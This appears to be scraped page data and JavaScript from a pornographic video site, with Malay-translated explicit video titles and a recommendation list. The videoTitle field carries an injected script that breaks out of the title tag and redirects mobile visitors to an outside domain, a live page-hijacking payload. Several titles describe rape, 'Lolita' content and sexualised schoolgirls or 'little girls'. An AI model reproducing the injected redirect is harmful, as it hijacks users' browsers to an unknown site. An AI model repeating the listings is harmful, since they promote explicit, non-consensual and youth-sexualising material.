Seorang gadis dengan ekspresi muram dan banyak kahak, dilakonkan oleh: Suzuka Kurumi, Hanai Shizuku, Koharu, dll. Ebisu-san - Puak Khayalan","site_id":0,"video_url":"https://2606.senlin2026.com/20260707/e5a71JyN/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvNTE2ZDZlNmZjZDhiY2QxMzgyZmQyZmY3MmNjMTdjNTMuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"1.0","view_count":518,"description":"Gadis menjilat muka yang keruh dan pekat dengan kahak, pelakon wanita: Suzuka Kurumi, Hanai Shizuku, Koharu, dll. Ebisu-san - Puak Khayalan","tag":["Muka yang menjilat","gadis","pelakon","Suzuka","walnut","Koharu","Ebisu","Cik","Khayalan","suku"],"site_url":"277297","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["女同性恋"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvNTE2ZDZlNmZjZDhiY2QxMzgyZmQyZmY3MmNjMTdjNTMuanBn.cache","maker":"","table_name":"videos_senlinzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"阴云密布、痰多的舔脸少女,演员:铃鹿胡桃、花井雫、小春等。惠比寿小姐 - 妄想部落","s_keywords":"阴云密布、痰多的舔脸少女,演员:铃鹿胡桃、花井雫、小春等。惠比寿小姐 - 妄想部落","s_description":"Seorang gadis dengan ekspresi muram dan banyak kahak, dilakonkan oleh: Suzuka Kurumi, Hanai Shizuku, Koharu, dll. Ebisu-san - Puak Khayalan","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjcvYzAxNzgxMDUxNjU5MmJmNzI1MzBhOTU0YmQxYWVkNjkuanBn.cache","vod_id":19224096,"title":"Payudara besar ditolak dengan kuat, pilihan payudara besar bergegar sehingga ke tahap yang melampau. 240 minit. Dibintangi: Mio Shiraishi, Mei Satsuki, Chanyota, dll. REAL878","lastmod":"2025-09-26","duration":"4:00:48","url":"/play/19224096.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjMvMTEwNzJmNGNmZDA2NDkwNzgxOWNiZDk4ZmJjYWI0OGMuanBn.cache","vod_id":19198985,"title":"Dia akhirnya tidur dengannya. Isteri bosnya sebenarnya seorang wanita yang suka melancap! Dia mengugut untuk memberitahu suaminya. Dibintangi oleh: Ninomiya Waka, Saito Miyu, Kamiya Mio, dll. SCPX-212-C.","lastmod":"2025-04-23","duration":"","url":"/play/19198985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvMTczNzU4YjQyYmRkZjRhYjM0ODJiN2YyZDE0NTJkMWEuanBn.cache","vod_id":19234860,"title":"Seluar dalam suri rumah seksi mendedahkan kulit lembut dari seluar dalamnya; 30 orang, 4 jam; pelakon tidak dikenali; CVDX-618","lastmod":"2025-12-15","duration":"4:04:35","url":"/play/19234860.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWE5NjgwOGI5ZDgzNzZmMGI0ZWQxYzI2ZmQ5NGE1N2QuanBn.cache","vod_id":19120622,"title":"Saya dan rakan sekerja saya, Jian, minum banyak di sebuah bar dan pergi mencari pelacur sambilan pada awal pagi. Kami membawanya pulang ke asrama untuk seks bertiga, tetapi dia kata dia tidak boleh bermalam kerana dia perlu bekerja pada keesokan harinya.","lastmod":"2025-03-29","duration":"0:32:12","url":"/play/19120622.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjkvZmUxOGE4OWFhOGEwOGRlZDEzYjAyMTk1ZmM4N2Q5M2EuanBn.cache","vod_id":19215622,"title":"MIDA128 \"Saya Suka Guru Saya\" Kekasih seorang guru otaku lelaki rupa-rupanya seorang pelajar montok berbadan besar. Pelajaran seks geek untuk menjawab masalah remaja perempuan.","lastmod":"2025-07-28","duration":"2:34:09","url":"/play/19215622.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTMvODU4ZWFhMjBjNTM0YWNjYTUzZWI0OWY2N2U2MWQ3MjAuanBn.cache","vod_id":19226222,"title":"Tingkah laku seksual tidak bermoral dalam kalangan wanita berusia lima puluhan dan empat puluhan. (Pelakon tidak dikenali: EMTH165)","lastmod":"2025-10-12","duration":"5:19:02","url":"/play/19226222.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGRmN2NiZWU4NGFjOGU3NDEyMjQ1Y2ViZjM1NjIyMmUuanBn.cache","vod_id":19052994,"title":"SSNI-668 Perkhidmatan seksual yang merangsang dan menggeletar daripada seorang wanita cantik yang sensitif dan langsing (versi penuh). Kesemua 5 kedai menawarkan perkhidmatan yang mesra dan penuh perhatian! Shiraha Riko","lastmod":"2025-03-29","duration":"2:27:25","url":"/play/19052994.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNDEyNWQ4ZTA1MjFlYjEwYzJhYzFjZDU5OTBmZWFkMzEuanBn.cache","vod_id":19126750,"title":"Seorang gadis muda sedang mengambil swafoto dan melancap di bilik mandi, sambil terus mengerang. (Lihat vulvanya!)","lastmod":"2025-03-29","duration":"0:05:52","url":"/play/19126750.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MzAvZjFiOGQzMjU2ZDI3ZTQwOGI3YjIxNjY1NTdhZDQyMzIuanBn.cache","vod_id":19266040,"title":"Perkara yang paling saya ingin lakukan. Gambar! Hibiki Otsuki menjelma semula sebagai kucing! Otsuki Hibiki Vitamin - Puak Khayalan","lastmod":"2026-06-29","duration":"2:03:43","url":"/play/19266040.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjkwNTg5YjUwMDAxMDhmNjJkMmMwZWVjZTZlYjM5ZDkuanBn.cache","vod_id":19040494,"title":"FC2PPV2960117 Tanpa Penapisan Seorang wanita muda yang jinak dengan badan putih salji yang lucah, pancutan air mani ke dalam lubang harimau putihnya yang merah jambu dan lembut [Bahagian 2]","lastmod":"2025-03-28","duration":"0:19:09","url":"/play/19040494.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGE3MjZjMGYyMjM4N2YwMjdhNmNlZTcxYTU0NjNhYzEuanBn.cache","vod_id":19078228,"title":"Seorang gadis yang suci dan polos yang berjaya tersenarai dalam tiga karya teratas NIGOO ♥","lastmod":"2025-03-29","duration":"1:09:58","url":"/play/19078228.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTI0Nzc5ODAwYTZkMzgyMTY2MDY1NDI3MzU1ZGEyMDMuanBn.cache","vod_id":19144187,"title":"Seorang gadis kecil yang lahir pada tahun 2003, seorang wanita muda yang bersemangat dan cantik.","lastmod":"2025-03-29","duration":"0:21:14","url":"/play/19144187.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTEzNzI4ZmE2ZTdkNTE0Y2IwOWNlYTM2YTg3OThmOGYuanBn.cache","vod_id":19056631,"title":"[Bahasa Cina] \"Episod Khas DANDY: Seorang Gadis Cantik yang Boleh Diganggu Secara Seksual - Pewaris yang Berwajah Tidak Bersalah yang Tidak Akan Pernah Terpikat Sebenarnya Dirogol Selepas Dicabul Secara Berterusan\" JILID 1","lastmod":"2025-03-29","duration":"2:17:15","url":"/play/19056631.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODRmOGNlMDAxZWU1MThjY2QyMzgyMzc3NWFlMjhiMTcuanBn.cache","vod_id":19176925,"title":"Gaun renda romantik bertemakan rusa awak, seorang wanita muda yang sangat menawan, akan menceburi industri seks untuk mengaut keuntungan...","lastmod":"2025-03-30","duration":"0:32:53","url":"/play/19176925.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjAyZDYxZjhjZjM0MWI0MTBmODFkNTk3MWZiM2FmN2IuanBn.cache","vod_id":19172198,"title":"SBMO1270 [Kuantiti Terhad] Rakan Zaman Kanak-Kanak ~Pengalaman Komik Gadis Erotik~ #Takahashi Mirai VS Wakabayashi Miho (dengan foto)","lastmod":"2025-03-30","duration":"1:40:28","url":"/play/19172198.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOWNhYjgyYjA5OGZjODAwZjlkZGZjMDEwYTgwMjVjYzIuanBn.cache","vod_id":19250018,"title":"Koleksi imej IBW yang dipilih dengan teliti menampilkan wanita cantik Lolita yang montok, IBW-1000z","lastmod":"2026-03-20","duration":"4:05:50","url":"/play/19250018.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDQvMDdmNzkzZGQ2OGUwMGQ4M2VjZjUzZGNjNjg2MWM2YjUuanBn.cache","vod_id":19229291,"title":"Saya meminta seorang ahli terapi urut punggung besar yang cantik, matang untuk \"mengurut zakar saya juga\"... (Pelakon Wanita: Yuki Fukuda, Karen Saejima, Kazuko Mitsumine, dll.) NXG_495","lastmod":"2025-11-03","duration":"2:00:44","url":"/play/19229291.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjg0NDE5ODFhYjYyMjAzZmEyNjUxZDA4YThmYmM1MmUuanBn.cache","vod_id":19069849,"title":"Selebriti internet paling hangat, [Yuzu Cat], bercosplay sebagai JK (gadis sekolah menengah) yang berstokin hitam berkilat, dan dilihat dengan penuh ghairah memeluk kotak bento kereta api sambil ditiduri dengan kuat oleh Yuzu Cat.","lastmod":"2025-03-29","duration":"0:22:38","url":"/play/19069849.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvM2EzNjE1ZDE0YjE1NGE0MDJiNTYwZDk1YTljYzE1YmQuanBn.cache","vod_id":19132341,"title":"Seorang wanita muda yang cantik semula jadi, setinggi 150cm dengan payudara berbentuk cawan F, yang lebih menyukai lelaki yang lebih tua. (MUKU eksklusif AV DEBUT)","lastmod":"2025-03-29","duration":"2:46:07","url":"/play/19132341.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTBmNjM4OTY2ODllMDU5ODBjMzQzMzUwNTNhYTIwYjguanBn.cache","vod_id":19099674,"title":"IENF-234 Iori Hane Gadis Cantik Top-Tier Cumshot Sabun Versi Objektif","lastmod":"2025-03-29","duration":"2:03:46","url":"/play/19099674.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjM1MzQyNjQxNTNlN2YxMDljYTljZTg0YmJhMGZlYzIuanBn.cache","vod_id":19090890,"title":"Seorang lelaki berperut buncit menghubungi seorang wanita matang dari sebuah hotel, tetapi ia kelihatan seperti satu penipuan; wanita itu meminta 200 yuan untuk penampilannya.","lastmod":"2025-03-29","duration":"0:25:21","url":"/play/19090890.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODc3NjRjYzQ1MDhlMDg3MGFkYWIwNjJjZDBkZWZhZDQuanBn.cache","vod_id":19155935,"title":"Penggambaran Tahun Baru Mirror Hard Cooks: Gadis Malas Kalah dan Tidak Sabar untuk Tidur Segera! Pertempuran Penumbuk Besbol! - Dibintangi Kotone, Hirose Miki, Ichikawa Aima, dll.","lastmod":"2025-03-30","duration":"4:56:51","url":"/play/19155935.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjMvMTkzMDcyZDY5Mzg2NmU0ZDRiY2IyZDY0OGYxZWU0ZGYuanBn.cache","vod_id":19227552,"title":"Biar saya makan zakar awak! Seks oral dan ejakulasi oleh isteri yang mesum. Dibintangi oleh: Ayako, Kano Aki, Sasaki Aya, Takashiro Aya, dll. NXG499","lastmod":"2025-10-22","duration":"2:00:49","url":"/play/19227552.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODM2ZjNlNmUzNzk2YjM1ZTFlNDlhODhiNGM3NWY2NTguanBn.cache","vod_id":19155917,"title":"[Ditapis dengan sari kata Cina] (Anime 18+) (Tanpa Penapisan) [milky] Magical Girl Ai VOL.3 Magical Girl Awakening","lastmod":"2025-03-30","duration":"0:27:35","url":"/play/19155917.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Seorang gadis dengan ekspresi muram dan banyak kahak, dilakonkan oleh: Suzuka Kurumi, Hanai Shizuku, Koharu, dll. Ebisu-san - Puak Khayalan',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}